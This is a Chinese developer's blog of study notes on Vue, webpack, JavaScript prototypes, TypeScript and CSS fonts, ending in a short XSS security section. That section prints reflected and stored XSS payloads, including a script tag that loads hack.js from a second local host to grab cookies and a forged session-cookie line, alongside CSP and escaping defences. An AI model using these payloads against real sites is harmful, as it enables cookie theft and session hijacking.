Gyh's blog

vuePress-theme-reco gyh    2022
Gyh's blog Gyh's blog

Choose mode

  • dark
  • auto
  • light
Home
Category
  • Algorithm
  • CSS
  • JavaScript
  • Others
  • Server
  • Utils
  • Article
  • Note
  • Git
  • Npm
  • Standard
  • Summary
Tag
Timeline
About
GitHub
author-avatar

gyh

91

Article

11

Tag

Home
Category
  • Algorithm
  • CSS
  • JavaScript
  • Others
  • Server
  • Utils
  • Article
  • Note
  • Git
  • Npm
  • Standard
  • Summary
Tag
Timeline
About
GitHub

技术栈总结

vuePress-theme-reco gyh    2022

技术栈总结

gyh 2019-10-11 vue js

# 技术栈总结

[TOC]

# vue

# Bus 原理

class Bus {
  constructor() {
    // {
    //   eventName1:[fn1,fn2],
    //   eventName2:[fn3,fn4],
    // }
    this.callbacks = {}
  }
  $on(name, fn) {
    this.callbacks[name] = this.callbacks[name] || []
    this.callbacks[name].push(fn)
  }
  $emit(name, args) {
    if (this.callbacks[name]) {
      // 存在 遍历所有callback
      this.callbacks[name].forEach(cb => cb(args))
    }
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

# 在组件上使用 v-model

自定义事件也可以用于创建支持 v-model 的自定义输入组件。记住:

<input v-model="searchText" />
1

等价于:

<input :value="searchText" @input="searchText = $event.target.value" />
1

当用在组件上时,v-model 则会这样:

<custom-input :model-value="searchText" @update:model-value="searchText = $event"></custom-input>
1

为了让它正常工作,这个组件内的 <input> 必须:

将其 value attribute 绑定到一个名叫 modelValue 的 prop 上 在其 input 事件被触发时,将新的值通过自定义的 update:modelValue 事件抛出 写成代码之后是这样的:

app.component('custom-input', {
  props: ['modelValue'],
  emits: ['update:modelValue'],
  template: `
    <input
      :value="modelValue"
      @input="$emit('update:modelValue', $event.target.value)"
    >
  `,
})
1
2
3
4
5
6
7
8
9
10

现在 v-model 就应该可以在这个组件上完美地工作起来了:

<custom-input v-model="searchText"></custom-input>
1

# 过渡 class

过渡

# webpack

# webpack: hash/chunkhash/contenthash

hash是跟整个项目的构建相关,构建生成的文件 hash 值都是一样的,所以 hash 计算是跟整个项目的构建相关,同一次构建过程中生成的 hash 都是一样的,只要项目里有文件更改,整个项目构建的 hash 值都会更改。 chunkhash和 hash 不一样,它根据不同的入口文件(Entry)进行依赖文件解析、构建对应的 chunk,生成对应的 hash 值。 contenthash表示由文件内容产生的 hash 值,内容不同产生的 contenthash 值也不一样。在项目中,通常做法是把项目中 css 都抽离出对应的 css 文件来加以引用。

参考配置
const path = require('path')
const HtmlWebpackPlugin = require('html-webpack-plugin')
const { CleanWebpackPlugin } = require('clean-webpack-plugin')
const MiniCssExtractPlugin = require('mini-css-extract-plugin')
const webpack = require('webpack')

module.exports = {
  // entry: "./src/index.js",
  entry: {
    index: './src/index.js',
    login: './src/login.js',
  },
  output: {
    path: path.resolve(\__dirname, './dist'),
    //js 模块,咱们就是 chunkhash
    filename: '[name].js',
    // filename: "[name].js"
  },
  mode: 'development',
  devtool: 'inline-source-map',
  devServer: {
    port: 8081,
    contentBase: './dist',
    open: true,
    hotOnly: true,
    proxy: {
      '/api': {
        target: 'http://localhost:9092',
      },
    },
  },
  module: {
    rules: [
      {
        test: /\.(png|jpe?g|gif)$/,
        // use: "url-loader",
        use: {
          loader: 'url-loader',
          options: {
            name: '[name].png',
            outputPath: 'images/',
            limit: 2048,
          },
        },
      },
      {
        test: /\.(woff2|woff)$/,
        use: {
          loader: 'file-loader',
        },
      },
      {
        test: /\.less\$/,
        use: [
          // MiniCssExtractPlugin.loader,
          'style-loader',
          'css-loader',
          'less-loader',
          'postcss-loader',
        ],
      },
    ],
  },
  plugins: [
    new HtmlWebpackPlugin({
      title: '首页',
      template: './src/index.html',
      inject: true,
      chunks: ['index'],
      filename: 'index.html',
    }),
    new HtmlWebpackPlugin({
      title: '注册',
      template: './src/index.html',
      inject: true,
      chunks: ['login'],
      filename: 'login.html',
    }),
    new CleanWebpackPlugin(),
    // new MiniCssExtractPlugin({
    // filename: "[name]_[contenthash:8].css"
    // }),
    new webpack.HotModuleReplacementPlugin(),
  ],

  // watch: true, //false
  // watchOptions: {
  // //默认为空,不监听的文件或者目录,支持正则
  // ignored: /node_modules/,
  // //监听到文件变化后,等 300ms 再去执行,默认 300ms,
  // aggregateTimeout: 300,
  // //判断文件是否发生变化是通过不停的询问系统指定文件有没有变化,默认每秒问 1 次
  // poll: 1000//ms
  // }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95

# js

# js: Object.is()

能使用==和===时就尽量不要使用 Object.is(),因为前者效率更高,更为通用。Object.is()主要用来处理那些特殊的比较相等。

# js: closure

函数和对其周围状态的引用(词法环境)捆绑在一起构成闭包。

# js: this

this  的值是在代码运行时计算出来的,它取决于代码上下文

foo() ---> foo.call(window) obj.foo() --> obj.foo.call(obj)

# js: autobox

参考

  • 直接调用 原始值.方法
  • 传入一个原始值作为 this 的绑定对象,这个原始值会被转换成他的对象形式(new String()、new Boolean()...)

# js: Object

数据属性 数据属性包含一个保存数据值的位置。值会从这个位置读取,也会写入到这个位置。数据属性有 4 个特性描述它们的行为。

  • [[Configurable]]:表示属性是否可以通过 delete 删除并重新定义,是否可以修改它的特性,以及是否可以把它改为访问器属性。默认情况下,所有直接定义在对象上的属性的这个特性都是 true,如前面的例子所示。
  • [[Enumerable]]:表示属性是否可以通过 for-in 循环返回。默认情况下,所有直接定义在对象上的属性的这个特性都是 true,如前面的- 例子所示。
  • [[Writable]]:表示属性的值是否可以被修改。默认情况下,所有直接定义在对象上的属性的这个特性都是 true,如前面的例子所示。
  • [[Value]]:包含属性实际的值。这就是前面提到的那个读取和写入属性值的位置。这个特性的默认值为 undefined。

访问器属性 访问器属性不包含数据值。相反,它们包含一个获取(getter)函数和一个设置(setter)函数,不过这两个函数不是必需的。在读取访问器属性时,会调用获取函数,这个函数的责任就是返回一个有效的值。在写入访问器属性时,会调用设置函数并传入新值,这个函数必须决定对数据做出什么修改。访问器属性有 4 个特性描述它们的行为。

  • [[Configurable]]:表示属性是否可以通过 delete 删除并重新定义,是否可以修改它的特性,以及是否可以把它改为数据属性。默认情况下,所有直接定义在对象上的属性的这个特性都是 true。
  • [[Enumerable]]:表示属性是否可以通过 for-in 循环返回。默认情况下,所有直接定义在对象上的属性的这个特性都是 true。
  • [[Get]]:获取函数,在读取属性时调用。默认值为 undefined。
  • [[Set]]:设置函数,在写入属性时调用。默认值为 undefined。

方法

  • Object.defineProperty()
  • Object.defineProperties()
  • Object.getOwnPropertyDescriptor()
  • Object.assign() 合并对象
  • Object.is() 判断一些边缘情况

ES6 对象增强

  • 属性值简写
  • 可计算属性 对象的解构

# 拷贝

  • 浅拷贝 Object.assign(dest, [src1, src2, src3...])
  • 深拷贝 lodash
    展开查看 为了解决此问题,我们应该使用会检查每个 user[key] 的值的克隆循环,如果值是一个对象,那么也要复制它的结构。这就叫“深拷贝”。 这里有一个标准的深拷贝算法,它不仅能处理上面的例子,还能应对更多复杂的情况,它被称为 结构化拷贝算法 。 我们可以用递归来实现。或者不自己造轮子,使用现成的实现,例如 JavaScript 库 lodash 中的 _.cloneDeep(obj)。

# “for…in” 遍历对象

为了遍历一个对象的所有键(key),可以使用一个特殊形式的循环:for..in。这跟我们在前面学到的  for(;😉  循环是完全不一样的东西。

for (key in object) {
  // 对此对象属性中的每个键执行的代码
}
1
2
3

# instanceof

key in object 不具体:原型链上存在 key 即可 object.hasOwnProperty(key) 具体:对象本身有这个属性 key

Class.prototype.isPrototypeOf(object) / prototypeObj.isPrototypeOf(object) 不具体:原型链上查找 (测试一个对象是否存在于另一个对象的原型链上) object instanceof Class / object instanceof constructor 不具体:原型链上查找

(用于检测构造函数的 prototype 属性是否出现在某个实例对象的原型链上)

isPrototypeOf() 与 instanceof 运算符不同。在表达式 "object instanceof AFunction"中,object 的原型链是针对 AFunction.prototype 进行检查的,而不是针对 AFunction 本身。 —— MDN

其中 Vue2.0 源码在 Vue 构造函数中检查是否用 New 来初始化时,用到了 instanceof 详情见 Vue 源码学习 此处为语雀文档,点击链接查看:https://www.yuque.com/guoyiheng/babgb3/gaiovg

设置和直接访问原型的现代方法有:

  • Object.create(proto, [descriptors]) —— 利用给定的 proto 作为 [[Prototype]](可以是 null)和可选的属性描述来创建一个空对象。
  • Object.getPrototypeOf(obj) —— 返回对象 obj 的 [[Prototype]](与 __proto__ 的 getter 相同)
  • Object.setPrototypeOf(obj, proto) —— 将对象 obj 的 [[Prototype]] 设置为 proto(与 __proto__ 的 setter 相同)。

# “in” 操作符 属性存在性测试

相比于其他语言,JavaScript 的对象有一个需要注意的特性:能够被访问任何属性。即使属性不存在也不会报错!

读取不存在的属性只会得到  undefined。所以我们可以很容易地判断一个属性是否存在: let user = {}; alert( user.noSuchProperty === undefined ); // true 意思是没有这个属性

这里还有一个特别的,检查属性是否存在的操作符  "in"。 语法是: "key" in object

为何会有  in  运算符呢?与  undefined  进行比较来判断还不够吗?

确实,大部分情况下与  undefined  进行比较来判断就可以了。但有一个例外情况,这种比对方式会有问题,但  in  运算符的判断结果仍是对的。 那就是属性存在,但存储的值是  undefined  的时候:

let obj = {
  test: undefined,
}
alert(obj.test) // 显示 undefined,所以属性不存在?
alert('test' in obj) // true,属性存在!
1
2
3
4
5

# 构造函数

构造函数在技术上是常规函数。不过有两个约定: 1. 它们的命名以大写字母开头。 2. 它们只能由 "new" 操作符来执行。 new User(...)做的就是类似的事情:

function User(name) {
  // this = {};(隐式创建)
  // 添加属性到 this
  this.name = name
  this.isAdmin = false
  // return this;(隐式返回)
}
1
2
3
4
5
6
7

带有对象的  return  返回该对象,在所有其他情况下返回  this。 通常构造器没有  return  语句。这里我们主要为了完整性而提及返回对象的特殊行为。

我们也可以让  new  调用和常规调用做相同的工作,像这样:

function User(name) {
  if (!new.target) {
    // 如果你没有通过 new 运行我
    return new User(name) // ……我会给你添加 new
  }
  this.name = name
}
let john = User('John') // 将调用重定向到新用户
alert(john.name) // John
1
2
3
4
5
6
7
8
9

# 原型继承与类继承

# 原型

function Person(name) {
  this.name = name
}
Person.prototype.sayName = function () {
  console.log('person say name', this.name)
}
let person = new Person('Person')
console.log('父类 person', person)
for (const key in person) {
  console.log('父类 person key', key)
}
1
2
3
4
5
6
7
8
9
10
11

# 原型继承

/**
 * 设置和直接访问原型的现代方法有:
 * Object.create(proto, [descriptors]) —— 利用给定的 proto 作为 [[Prototype]](可以是 null)和可选的属性描述来创建一个空对象。
 * Object.getPrototypeOf(obj) —— 返回对象 obj 的 [[Prototype]](与 __proto__ 的 getter 相同)。
 * Object.setPrototypeOf(obj, proto) —— 将对象 obj 的 [[Prototype]] 设置为 proto(与 __proto__ 的 setter 相同)。
 */
function Teacher(name, age) {
  Person.call(this, name)
  this.age = age
}
// 废弃的写法
// Teacher.prototype.__proto__ = Person.prototype
Teacher.prototype = Object.create(Person.prototype)
//修正 constructor
Teacher.prototype.constructor = Teacher
Teacher.prototype.sayAge = function () {
  console.log('teacher say age ', this.age)
}
let teacher = new Teacher('Teacher', '18')
console.log('子类 teacher', teacher)
for (const key in teacher) {
  if (teacher.hasOwnProperty(key)) {
    console.log('子类 teacher key', key, teacher[key])
  }
}
//第二种
const person1 = {
  name: 'person1',
  sayName: function () {
    console.log('person1 say name', this.name)
  },
}
const me = Object.create(person1)
// 废弃的写法
// console.log("me", me.__proto__)
console.log('me', Object.getPrototypeOf(me))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

# 类

/**
 * 区别:
 * 1、classConstructor
 * 2、new
 * 3、类方法不可枚举 (enumerable: false)
 * 4、类内部默认使用 use strict
 * 5、类字段重要的不同之处在于,它们会在每个独立对象中被设好,而不是设在 User.prototype
 */
// 类
class Animal {
  constructor(name) {
    this.name = name
  }
  sayName() {
    console.log('animal say name', this.name)
  }
}
let animal = new Animal('Animal')
console.log('父类 animal', animal)
for (const key in animal) {
  console.log('父类 animal key', key)
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

# 类继承

//继承
class Rabbit extends Animal {
  constructor(name, age) {
    super(name)
    this.age = age
  }
  sayAge() {
    super.sayName() // 调用父类的 stop
    console.log('teacher say age', this.age)
  }
}
let rabbit = new Rabbit('Rabbit', '18')
console.log('子类 rabbit', rabbit)
for (const key in rabbit) {
  console.log('子类 rabbit key', key)
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
展开图示 ![-w1454](https://i.imgur.com/VVChH4k.jpg) ![-w586](https://i.imgur.com/nHMHtT1.jpg)

# js: 高程 数据类型

-w1503

# js: 高程 String

-w1503

# js: 高程 Array

-w1002

# js: 柯里化

柯里化(Currying)是一种关于函数的高阶技术。它不仅被用于 JavaScript,还被用于其他编程语言。

柯里化是一种函数的转换,它是指将一个函数从可调用的  f(a, b, c)  转换为可调用的  f(a)(b)(c)。

柯里化不会调用函数。它只是对函数进行转换。

function curry(func) {
  return function curried(...args) {
    if (args.length >= func.length) {
      return func.apply(this, args)
    } else {
      return function (...args2) {
        return curried.apply(this, args.concat(args2))
      }
    }
  }
}
1
2
3
4
5
6
7
8
9
10
11

# js: 宏任务,微任务

每个宏任务之后,引擎会立即执行微任务队列中的所有任务,然后再执行其他的宏任务,或渲染,或进行其他任何操作。

-w500

宏任务
微任务
requestAnimationFrame
IntersectionObserver
更新界面
requestIdleCallback
下一帧
1
2
3
4
5
6
7

# typescript

展开查看
/**
 * 原始数据类型
 * JavaScript 的类型分为两种:原始数据类型(Primitive data types)和对象类型(Object types)。
 * 原始数据类型包括:布尔值、数值、字符串、null、undefined 以及 ES6 中的新类型 Symbol
 */
let isDone: boolean = false
let decLiteral: number = 6
let myName: string = "Tom"
function alertName(): void {
  alert("My name is Tom")
}
let u: undefined = undefined
let n: null = null
/**
 * 任意值
 */
let anyThing: any = "hello"
/**
 * 类型推论
 */
// let myFavoriteNumber = "seven";
// myFavoriteNumber = 7;
// index.ts(2,1): error TS2322: Type 'number' is not assignable to type 'string'.
// 事实上,它等价于:
// let myFavoriteNumber: string = "seven";
// myFavoriteNumber = 7;
// index.ts(2,1): error TS2322: Type 'number' is not assignable to type 'string'.
// 如果定义的时候没有赋值,不管之后有没有赋值,都会被推断成 any 类型而完全不被类型检查:
let myFavoriteNumber
myFavoriteNumber = "seven"
myFavoriteNumber = 7
/**
 * 联合类型(Union Types)表示取值可以为多种类型中的一种。
 */
let myFavoriteNumber2: string | number
myFavoriteNumber2 = "seven"
myFavoriteNumber2 = 7
// 访问 string 和 number 的共有属性是没问题的:
function getString(something: string | number): string {
  return something.toString()
}
/**
 * 接口(Interfaces)来定义对象的类型。
 * ?可选属性
 * 任意属性[propName: string]: any;
 * 只读属性 readonly
 */
interface Person {
  readonly id: number
  name: string
  age?: number
  [propName: string]: any
}
let tom: Person = {
  id: 89757,
  name: "Tom",
  age: 25,
}
/**
 * 数组的类型
 */
let fibonacci: number[] = [1, 1, 2, 3, 5]
/**
 * 函数的类型
 */
// 有两种常见的定义函数的方式——函数声明(Function Declaration)和函数表达式(Function Expression):
// 函数声明(Function Declaration)
function sum(x, y) {
  return x + y
}
// 函数表达式(Function Expression)
let mySum = function (x, y) {
  return x + y
}
function sum1(x: number, y: number): number {
  return x + y
}
let mySum2: (x: number, y: number) => number = function (x: number, y: number): number {
  return x + y
}
// 重载
// 我们需要实现一个函数 reverse,输入数字 123 的时候,输出反转的数字 321,输入字符串 'hello' 的时候,输出反转的字符串 'olleh'
function reverse(x: number): number
function reverse(x: string): string
function reverse(x: number | string): number | string {
  if (typeof x === "number") {
    return Number(x.toString().split("").reverse().join(""))
  } else if (typeof x === "string") {
    return x.split("").reverse().join("")
  }
}
/**
 * 类型断言
 * 类型断言(Type Assertion)可以用来手动指定一个值的类型。
 * <类型>值
 * 值 as 类型
 */
function getLength(something: string | number): number {
  if ((<string>something).length) {
    return (<string>something).length
  } else {
    return something.toString().length
  }
}
/**
 * 用 TypeScript 写 Node.js
 * Node.js 不是内置对象的一部分,如果想用 TypeScript 写 Node.js,则需要引入第三方声明文件:
 * npm install @types/node --save-dev
 */
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109

# js: event.preventDefault()

取消事件的默认动作。

document.querySelector('#id-checkbox').addEventListener(
  'click',
  function (event) {
    document.getElementById('output-box').innerHTML += "Sorry! <code>preventDefault()</code> won't let you check this!<br>"
    event.preventDefault()
  },
  false
)
1
2
3
4
5
6
7
8

选中复选框是点击复选框的默认行为。上面这个例子说明了怎样阻止默认行为的发生

# 内存泄露的查询

Chrome 浏览器 -> Performance 勾选 Memory -> 录制 -> 会展示 Heap 占用情况

# CSS

# css: 中英文换行

展开查看 ```css white-space:nowrap; //强制不换行(中英文都起作用) white-space:pre-wrap; //只对中文起作用,强制换行 word-break:break-all; // 只对英文起作用,以字母作为依据,强制换行 word-break:break-word; //只对英文起作用,以单词作为依据,强制换行 overflow:hidden; //超出的内容隐藏 text-overflow:ellipsis; //超出的内容为省略号 ```

# css: 动画

属性: transition
transition-property: 动画展示哪些属性,可以使用 all 关键字;
transition--duration: 动画过程有多久;
transition-timing-function:linear,ease,ease-in,ease-out,ease-in-out,贝塞尔曲线等:控制动画速度变化;
transition-delay: 动画是否延迟执行;
一般来说,将 transition 属性应用到最初的样式里,而不是放在结束的样式里,
即定义动画开始之前的元素外观的样式。
只需要给元素设置一次 transition,浏览器就会负责以动画展示从一个样式到另一个样式,再返回最初样式的变化过程。

1. 需要一个事件来触发,比如 hover,所以没法在网页加载时自动触发。 2.是一次性的,不能重复发生,除非一再触发。 3.只能定义开始状态和结束状态,不能定义中间状态,也就是说只有两个状态。 4.一条 transition 规则,只能定义一个属性的变化,不能涉及多个属性。
1
2
3
4
5
6
7
8
9
属性:animation
animation-name: keyframes 中定义的动画名称;
animation-duration:动画执行一次持续的时长;
animation-timing-function:动画速率变化函数;
animation-delay:动画延迟执行的时间;
animation-iteration-count:动画执行的次数,可以是数字,或者关键字(infinite);
animation-direction:alternate(奇数次超前运行,偶数次后退运行)。
animation-fill-mode:告诉浏览器将元素的格式保持为动画结束时候的样子/或没开始。
animation-paly-state:paused|running;
1
2
3
4
5
6
7
8

# css: iphone 刘海屏 安全区域

详细文档

# css: vertical-align

CSS 的属性 vertical-align 用来指定行内元素(inline)或表格单元格(table-cell)元素的垂直对齐方式。

# css: font-family

  • serif(衬线)
  • sans-serif(无衬线)
  • monospace(等宽)
  • fantasy(梦幻)
  • cuisive(草体)
展开查看 1、serif -- 衬线字体

serif,意为有衬线的字体,衬线的意思是在字符笔画末端有叫做衬线的小细节的额外装饰,而且笔画的粗细会有所不同,这些细节在大写字母中特别明显。

OK,那么有哪些常用字体属于衬线字体呢?

宋体(SimSun) Windows 下大部分浏览器的默认中文字体,是为适应印刷术而出现的一种汉字字体。笔画有粗细变化,是一种衬线字体,宋体在小字号下的显示效果还可以接受,但是字号一大体验就很差了,所以使用的时候要注意,不建议做标题字体使用。

Times New Roman Mac 平台 Safari 下默认的英文字体,是最常见且广为人知的西文衬线字体之一,众多网页浏览器和文字处理软件都是用它作为默认字体。

2、sans-serif -- 无衬线字体

微软雅黑(Microsoft Yahei) 大名鼎鼎的微软雅黑相信都不陌生,从 windows Vista 开始,微软提供了这款新的字体,一款无衬线的黑体类字体,显著提高了字体的显示效果。现在这款字体已经成为 windows 浏览器最值得使用的中文字体。

华文黑体(STHeiti)、华文细黑(STXihei) 属于同一字体家族系列,MAC OS X 10.6 之前的简体中文系统界面的默认中文字体,正常粗细就是华文细黑,粗体下则是华文黑体。

黑体-简(Heiti SC) 从 MAC OS X 10.6 开始,黑体-简代替华文黑体用作简体中文系统界面默认字体,苹果生态最常用的字体之一,包括 iPhone、iPad 等设备用的也是这款字体。

冬青黑体(Hiragino Sans GB) 又叫苹果丽黑,Hiragino 是字游工房设计的系列字体名称。是一款清新的专业印刷字体,小字号时足够清晰,Mac OS X 10.6 开始自带有 W3 和 W6 。

Helvetica、Helvetica Neue 被广泛用于全世界使用拉丁字母和西里尔字母的国家。Helvetica 是苹果电脑的默认字体,微软常用的 Arial 字体也来自于它。

Arial Windows 平台上默认的无衬线西文字体,有多种变体,比例及字重(weight)和 Helvetica 极为相近。

Verdana 无衬线字体,优点在于它在小字上仍结构清晰端整、阅读辨识容易。

Tahoma 十分常见的无衬线字体,字体结构和 Verdana 很相似,其字元间距较小,而且对 Unicode 字集的支持范围较大。许多不喜欢 Arial 字体的人常常会改用 Tahoma 来代替,除了是因为 Tahoma 很容易取得之外,也是因为 Tahoma 没有一些 Arial 为人诟病的缺点,例如大写“i”与小写“L”难以分辨等。(这里故意反过来写)。 3、monospace -- 等宽字体 这系列字体程序员们其实都不陌生。我们用来敲代码的编辑器,字体的选择经常就是一类等宽字体。 等宽字体是指字符宽度相同的电脑字体,常见于 IDE 或者编辑器中,每个字母的宽度相等,通常用于计算机相关书籍中排版代码块。

除了 IDE ,我们看到的技术文章中的代码块中,经常也是使用等宽字体进行排版。 Consolas 这是一套等宽的字体,属无衬线字体。这个字体使用了微软的 ClearType 字型平滑技术,主要是设计做为代码的显示字型之用,特别之处是它的“0”字加入了一斜撇,以方便与字母“O”分辨。 ClearType:由微软在其操作系统中提供的屏幕亚像素微调字体平滑工具,让 Windows 字体更加漂亮。在 Windows XP 平台上,这项技术默认是关闭,到了 Windows Vista 才默认为开启。

上图是 Github 代码区块的字体设置,可以看到,默认字体就是  Consolas ,紧接着的几个都是其它等宽字体,如果用户的系统中都没有预装这些字体,则会匹配最后一个  monospace ,它表示等宽字体系列,会从用户系统中的等宽字体中选取一个展示。

4、fantasy 、cuisive fantasy 和 cuisive 字体在浏览器中不常用,在各个浏览器中有明显的差异。

中文字体的兼容写法 一些中文字体,例如 font-family: '宋体',由于字符编码的问题,少部分浏览器解释这个代码的时候,中文出现乱码,这个时候设定的字体无法正常显示。

所以通常会转化成对应的英文写法或者是对应的 unicode 编码,font-family:'宋体' -> font-family: '\5b8b\4f53'。

\5b8b\4f53 是宋体两个中文字的 unicode 编码表示。类似的写法还有:

黑体:\9ED1\4F53 微软雅黑:\5FAE\8F6F\96C5\9ED1 华文细黑:\534E\6587\7EC6\9ED1 华文黑体:\534E\6587\9ED1\4F53 Unicode 编码: 人们希望在一套系统里面能够容纳所有字符,Unicode 编码解决传统的字符编码方案的局限性,每个字符占用 2 字节。这样理论上一共最多可以表示 2^16(即 65536)个字符。基本满足各种语言的使用。

字体定义的细节 其他一些小细节也很重要,譬如定义字体的时候,何时需要在字体两端添加引号?像这样:

p{ font-family: 'Microsoft YaHei', '黑体-简', '\5b8b\4f53'; } 当字体名字中间有空格,中文名字体及 Unicode 字符编码表示的中文字体,为了保证兼容性,都建议在字体两端添加单引号或者双引号。

字体定义顺序 字体定义顺序是一门学问,通常而言,我们定义字体的时候,会定义多个字体或字体系列。举个栗子:

body { font-family: tahoma, arial, 'Hiragino Sans GB', '\5b8b\4f53', sans-serif; } 别看短短 5 个字体名,其实其中门道很深。解释一下:

• 使用 tahoma 作为首选的西文字体,小字号下结构清晰端整、阅读辨识容易;
• 用户电脑未预装 tohoma,则选择 arial 作为替代的西文字体,覆盖 windows 和 MAC OS;
• Hiragino Sans GB 为冬青黑体,首选的中文字体,保证了 MAC 用户的观看体验;
• Windows 下没有预装冬青黑体,则使用 '\5b8b\4f53' 宋体为替代的中文字体方案,小字号下有着不错的效果;
• 最后使用无衬线系列字体 sans-serif 结尾,保证旧版本操作系统用户能选中一款电脑预装的无衬线字体,向下兼容。
• 嗯,其实上面的 font-family 就是淘宝首页 body 的字体定义,非常的规范,每一个字体的定义都有它的意义。surprised

字体书写规则 综上,总结一下,我觉得字体 font-family 定义的原则大概遵循:

1、兼顾中西 中文或者西文(英文)都要考虑到。

2、西文在前,中文在后 由于大部分中文字体也是带有英文部分的,但是英文部分又不怎么好看,同理英文字体中大多不包含中文。

所以通常会先进行英文字体的声明,选择最优的英文字体,这样不会影响到中文字体的选择,中文字体声明则紧随其次。

3、兼顾多操作系统 选择字体的时候要考虑多操作系统。例如 MAC OS 下的很多中文字体在 Windows 都没有预装,为了保证 MAC 用户的体验,在定义中文字体的时候,先定义 MAC 用户的中文字体,再定义 Windows 用户的中文字体。其次很多人都不知道 Android 下没有预装微软雅黑和宋体,那么 Android 机型下的中文字体设置又是很考究的。

4、兼顾旧操作系统,以字体族系列 serif 和 sans-serif 结尾 当使用一些非常新的字体时,要考虑向下兼容,兼顾到一些极旧的操作系统,使用字体族系列 serif 和 sans-serif 结尾总归是不错的选择。

# css: Image

-w525

# css: How CSS works

CSS 究竟是怎么工作的? 当浏览器展示一个文件的时候,它必须兼顾文件的内容和文件的样式信息,下面我们会了解到它处理文件的标准的流程。需要知道的是,下面的步骤是浏览加载网页的简化版本,而且不同的浏览器在处理文件的时候会有不同的方式,但是下面的步骤基本都会出现。

  1. 浏览器载入 HTML 文件(比如从网络上获取)。
  2. 将 HTML 文件转化成一个 DOM(Document Object Model),DOM 是文件在计算机内存中的表现形式,下一节将更加详细的解释 DOM。
  3. 接下来,浏览器会拉取该 HTML 相关的大部分资源,比如嵌入到页面的图片、视频和 CSS 样式。JavaScript 则会稍后进行处理,简单起见,同时此节主讲 CSS,所以这里对如何加载 JavaScript 不会展开叙述。
  4. 浏览器拉取到 CSS 之后会进行解析,根据选择器的不同类型(比如 element、class、id 等等)把他们分到不同的“桶”中。浏览器基于它找到的不同的选择器,将不同的规则(基于选择器的规则,如元素选择器、类选择器、id 选择器等)应用在对应的 DOM 的节点中,并添加节点依赖的样式(这个中间步骤称为渲染树)。
  5. 上述的规则应用于渲染树之后,渲染树会依照应该出现的结构进行布局。
  6. 网页展示在屏幕上(这一步被称为着色)。 结合下面的图示更形象: -w513

# getBoundingClientRect

Element.getBoundingClientRect() 方法返回元素的大小及其相对于视口的位置。

# 禁止 IOS 长按下载图片

-webkit-touch-callout:none;

# 点击延迟

使用 fastclick.js

# 滚动传播

`@touchmove.prevent

`

# 安全

# XSSCross Site Scripting

跨站脚本攻击 XSS (Cross-Site Scripting),跨站脚本攻击,因为缩写和 CSS 重叠,所以只能叫 XSS。跨站脚本攻击是指通过存在安全漏洞的 Web 网站注册用户的浏览器内运行非法的非本站点 HTML 标签或 JavaScript 进行的一种攻击。

跨站脚本攻击有可能造成以下影响:利用虚假输入表单骗取用户个人信息。利用脚本窃取用户的 Cookie 值,被害者在不知情的情况下,帮助攻击者发送恶意请求。显示伪造的文章或图片。

XSS 攻击分类反射型

  • url 参数直接注入
// 普通
//localhost:3000/?from=china
// alert尝试
//localhost:3000/?from=<script>alert(3)</script>
http: // 获取Cookie
//localhost:3000/?from=<script src="http://localhost:4000/hack.js"></script>
http: // 短域名伪造
//dwz.cn
http: // 伪造cookie入侵 chrome
https: document.cookie =
  'kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTUzNTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0='
1
2
3
4
5
6
7
8
9
10
11
  • 存储型 - 存储到 DB 后读取时注入
// 评论
<script>alert(1)</script>
// 跨站脚本注入我来了
<script src="http://localhost:4000/hack.js"></script>
1
2
3
4

# XSS 攻击的危害 - Scripting 能干啥就能干啥

  • 获取页面数据
  • 获取 Cookies
  • 劫持前端逻辑
  • 发送请求
  • 偷取网站的任意数据
  • 偷取用户的资料偷
  • 取用户的秘密和登录态
  • 欺骗用户

# 防范手段

  • HEAD
ctx.set('X-XSS-Protection', 0) // 禁止XSS过滤// http://localhost:3000/?from=<script>alert(3)</script> 可以拦截但伪装一下就不行了开课吧web全栈架构师
1
  • CSP

内容安全策略 (CSP, Content Security Policy) 是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,包括跨站脚本 (XSS) 和数据注入等攻击。这些攻击可用于实现从数据窃取到网站破坏或作为恶意软件分发版本等用途。CSP 本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少 XSS 攻击。

// 只允许加载本站资源
Content-Security-Policy: default-src 'self'
// 只允许加载 HTTPS 协议图片
Content-Security-Policy: img-src https://*
// 不允许加载任何来源框架
Content-Security-Policy: child-src 'none'
ctx.set('Content-Security-Policy', "default-src 'self'")
// 尝试一下外部资源不能加载
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
1
2
3
4
5
6
7
8
9
  • 转移字符
  • 黑名单

用户的输入永远不可信任的,最普遍的做法就是转义输入输出的内容,对于引号、尖括号、斜杠进行转义

function escape(str) {
  str = str.replace(/&/g, '&amp;')
  str = str.replace(/</g, '&lt;')
  str = str.replace(/>/g, '&gt;')
  str = str.replace(/"/g, '&quto;')
  str = str.replace(/'/g, '&#39;')
  str = str.replace(/`/g, '&#96;')
  str = str.replace(/\//g, '&#x2F;')
  return str
}
1
2
3
4
5
6
7
8
9
10
  • 白名单

